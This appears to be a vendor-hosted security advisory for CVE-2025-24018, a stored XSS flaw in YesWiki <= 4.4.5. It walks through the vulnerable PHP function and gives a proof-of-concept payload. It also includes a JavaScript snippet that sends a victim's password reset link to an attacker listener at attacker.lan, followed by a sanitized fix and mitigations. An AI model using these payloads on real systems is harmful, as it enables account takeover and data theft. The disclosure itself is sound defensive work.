CVE-2025-24018

CVE-2025-24018 is a high-severity cross-site scripting (XSS) vulnerability in yeswiki/yeswiki (composer), affecting versions <= 4.4.5. It is fixed in 4.5.0.

Summary

Authenticated Stored XSS in YesWiki <= 4.4.5

It is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.

This Proof of Concept has been performed using the followings:

  • YesWiki v4.4.5 (doryphore-dev branch, latest)
  • Docker environnment (docker/docker-compose.yml)
  • Docker v27.5.0
  • Default installation

Details

The vulnerability makes use of the content edition feature and more specifically of the {{attach}} component allowing users to attach files/medias to a page. When a file is attached using the {{attach}} component, if the resource contained in the file attribute doesn't exist, then the server will generate a file upload button containing the filename.

This part of the code is managed in tools/attach/libs/attach.lib.php and the faulty function is showFileNotExits().

public function showFileNotExits()
{
    echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$this->file") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $this->file . '</a>';
}

The file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.

PoC

1. Simple XSS

Here is a working payload {{attach file="<script>alert(document.domain)</script>" desc="" size="original" class=" whiteborder zoom" nofullimagelink="1"}} tha works in pages and comments:

On a comment:


On a page:


2. Full account takeover scenario

By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:

fetch('/?ParametresUtilisateur')
  .then(response => {
    return response.text();
  })
  .then(htmlString => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(htmlString, 'text/html');
    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty
    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));
  })

Posting a comment using this specially crafted payload with a user account:

Allows our administrator account's password reset link to be sent to the listener of the attacker:


Therefore giving us access to an successful password reset for any account triggering the XSS:

Suggestion of possible corrective measures

  • Sanitize properly the filename attribute
public function showFileNotExits()
{
    $filename = htmlspecialchars($this->file);
    echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$filename") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $filename . '</a>';
}
  • Implement a stronger password reset mechanism through:

    • Not showing a password reset link to an already logged-in user.
    • Generating a password reset link when a reset is requested by a user, and only send it by mail.
    • Add an expiration/due date to the token
  • Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)

The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.

Impact

This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2025-24018 has a CVSS score of 7.6 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.0); upgrading removes the vulnerable code path.

Affected versions

yeswiki/yeswiki (<= 4.4.5)

Security releases

yeswiki/yeswiki → 4.5.0 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade yeswiki/yeswiki to 4.5.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-24018? CVE-2025-24018 is a high-severity cross-site scripting (XSS) vulnerability in yeswiki/yeswiki (composer), affecting versions <= 4.4.5. It is fixed in 4.5.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is CVE-2025-24018? CVE-2025-24018 has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of yeswiki/yeswiki are affected by CVE-2025-24018? yeswiki/yeswiki (composer) versions <= 4.4.5 is affected.
  4. Is there a fix for CVE-2025-24018? Yes. CVE-2025-24018 is fixed in 4.5.0. Upgrade to this version or later.
  5. Is CVE-2025-24018 exploitable, and should I be worried? Whether CVE-2025-24018 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-24018 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-24018? Upgrade yeswiki/yeswiki to 4.5.0 or later.

Other vulnerabilities in yeswiki/yeswiki

CVE-2026-41143CVE-2026-34598CVE-2025-52277CVE-2025-46346CVE-2025-46347

Stop the waste.
Protect your environment with Kodem.